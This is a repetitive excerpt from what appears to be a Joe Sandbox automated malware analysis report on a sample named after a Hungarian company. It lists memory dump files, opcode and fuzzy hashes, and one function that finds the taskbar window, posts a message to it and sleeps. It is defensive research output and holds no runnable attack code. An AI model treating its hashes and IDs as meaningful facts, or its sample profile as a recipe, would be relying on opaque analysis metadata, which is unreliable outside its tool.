                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: dd1cf8c7deccce213fdd0dcc904fd97912577844c3ad3f7ee18e3986a887473c
                                                              • Instruction ID: 104972ac292e0983b3ddc197b5734394af571ab7b5eb0edbc454134a371a87bf
                                                              • Opcode Fuzzy Hash: dd1cf8c7deccce213fdd0dcc904fd97912577844c3ad3f7ee18e3986a887473c
                                                              • Instruction Fuzzy Hash: BDD0C971784711B6E6A4AB74AC0FFA66A14BF04B50F004925F649AA1D0C9E89810C668
                                                              Function 007B5998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007B59AE
                                                              • PostMessageW.USER32(00000000), ref: 007B59B5
                                                                • Part of subcall function 00795244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007952BC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: 69c3878b2ba85bd507d516c5d3ee2b7960d8670b3ca0fed5527f7998371ba602
                                                              • Instruction ID: d04c09649c788a2195ea7fa33ed2aee8c1759245b4dbde1775184e920a12fe3d
                                                              • Opcode Fuzzy Hash: 69c3878b2ba85bd507d516c5d3ee2b7960d8670b3ca0fed5527f7998371ba602
                                                              • Instruction Fuzzy Hash: A6D0C971781711BAE6A4AB74AC0FF966614BB08B50F004925F649AA1D0C9E8A810C668